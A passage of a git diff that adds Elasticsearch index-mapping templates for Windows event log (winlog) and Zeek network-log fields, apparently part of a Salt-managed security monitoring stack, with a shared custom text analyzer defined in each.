}, + "mappings": { + "properties": { + "vulnerability": { + "properties": { + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "classification": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "enumeration": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "report_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "scanner": { + "properties": { + "vendor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "score": { + "properties": { + "base": { + "type": "float" + }, + "environmental": { + "type": "float" + }, + "temporal": { + "type": "float" + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/winlog.json b/salt/elasticsearch/templates/component/ecs/winlog.json new file mode 100644 index 000000000..688fe033f --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/winlog.json @@ -0,0 +1,1447 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "dynamic_templates": [ + { + "winlog.event_data": { + "mapping": { + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "match_mapping_type": "string", + "path_match": "winlog.event_data.*" + } + }, + { + "winlog.user_data": { + "mapping": { + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "match_mapping_type": "string", + "path_match": "winlog.user_data.*" + } + } + ], + "properties": { + "winlog": { + "properties": { + "activity_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "api": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "channel": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "computer_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_data": { + "properties": { + "AuthenticationPackageName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Binary": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "BitlockerUserInputTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "BootMode": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "BootType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "BuildVersion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Company": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "CorruptionActionState": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "CreationUtcTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Detail": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DeviceName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DeviceNameLength": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DeviceTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DeviceVersionMajor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DeviceVersionMinor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DriveName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DriverName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DriverNameLength": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DwordVal": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "EntryCount": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ExtraInfo": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "FailureName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "FailureNameLength": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "FileVersion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "FinalStatus": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Group": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "IdleImplementation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "IdleStateCount": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ImpersonationLevel": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "IntegrityLevel": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "IpAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "IpPort": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "KeyLength": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LastBootGood": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LastShutdownGood": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LmPackageName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LogonGuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LogonId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LogonProcessName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LogonType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MajorVersion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MaximumPerformancePercent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MemberName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MemberSid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MinimumPerformancePercent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MinimumThrottlePercent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MinorVersion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "NewProcessId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "NewProcessName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "NewSchemeGuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "NewTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "NominalFrequency": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "OldSchemeGuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "OldTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "OriginalFileName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "PerformanceImplementation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "PreviousCreationUtcTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "PreviousTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "PrivilegeList": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ProcessId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ProcessName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ProcessPath": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ProcessPid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "PuaCount": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "PuaPolicyId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "QfeVersion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SchemaVersion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ScriptBlockText": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ServiceName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ServiceVersion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ShutdownActionType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ShutdownEventCode": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ShutdownReason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Signature": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SignatureStatus": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Signed": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "StartTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "State": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "StopTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SubjectDomainName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SubjectLogonId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SubjectUserName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SubjectUserSid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TSId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetDomainName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetInfo": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetLogonGuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetLogonId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetServerName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetUserName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetUserSid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TerminalSessionId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TokenElevationType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TransmittedServices": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "UserSid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Workstation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "param1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "param2": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "param3": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "param4": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "param5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "param6": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "param7": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "param8": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "event_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "keywords": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "logon": { + "properties": { + "failure": { + "properties": { + "reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sub_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "opcode": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "process": { + "properties": { + "pid": { + "type": "long" + }, + "thread": { + "properties": { + "id": { + "type": "long" + } + } + } + } + }, + "provider_guid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "provider_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "record_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "related_activity_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "task": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "time_created": { + "type": "date" + }, + "user": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identifier": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "user_data": { + "type": "object" + }, + "version": { + "type": "long" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/zeek.json b/salt/elasticsearch/templates/component/ecs/zeek.json new file mode 100644 index 000000000..08541b56e --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/zeek.json @@ -0,0 +1,4161 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "zeek": { + "properties": { + "capture_loss": { + "properties": { + "acks": { + "type": "long" + }, + "gaps": { + "type": "long" + }, + "peer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "percent_lost": { + "type": "double" + }, + "ts_delta": { + "type": "long" + } + } + }, + "connection": { + "properties": { + "history": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "icmp": { + "properties": { + "code": { + "type": "long" + }, + "type": { + "type": "long" + } + } + }, + "inner_vlan": { + "type": "long" + }, + "local_orig": { + "type": "boolean" + }, + "local_resp": { + "type": "boolean" + }, + "missed_bytes": { + "type": "long" + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state_message": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vlan": { + "type": "long" + } + } + }, + "dce_rpc": { + "properties": { + "endpoint": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "named_pipe": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "operation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rtt": { + "type": "long" + } + } + }, + "dhcp": { + "properties": { + "address": { + "properties": { + "assigned": { + "type": "ip" + }, + "client": { + "type": "ip" + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "requested": { + "type": "ip" + }, + "server": { + "type": "ip" + } + } + }, + "client_fqdn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "duration": { + "type": "double" + }, + "hostname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "properties": { + "circuit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "remote_agent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subscriber": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "lease_time": { + "type": "long" + }, + "msg": { + "properties": { + "client": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "origin": { + "type": "ip" + }, + "server": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "types": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "software": { + "properties": { + "client": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "server": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "dnp3": { + "properties": { + "function": { + "properties": { + "reply": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "request": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "id": { + "type": "long" + } + } + }, + "dns": { + "properties": { + "AA": { + "type": "boolean" + }, + "RA": { + "type": "boolean" + }, + "RD": { + "type": "boolean" + }, + "TC": { + "type": "boolean" + }, + "TTLs": { + "type": "double" + }, + "answers": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "qclass": { + "type": "long" + }, + "qclass_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "qtype": { + "type": "long" + }, + "qtype_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "query": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rcode": { + "type": "long" + }, + "rcode_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rejected": { + "type": "boolean" + }, + "rtt": { + "type": "double" + }, + "saw_query": { + "type": "boolean" + }, + "saw_reply": { + "type": "boolean" + }, + "total_answers": { + "type": "long" + }, + "total_replies": { + "type": "long" + }, + "trans_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "dpd": { + "properties": { + "analyzer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "failure_reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "packet_segment": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "files": { + "properties": { + "analyzers": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "depth": { + "type": "long" + }, + "duration": { + "type": "double" + }, + "entropy": { + "type": "double" + }, + "extracted": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "extracted_cutoff": { + "type": "boolean" + }, + 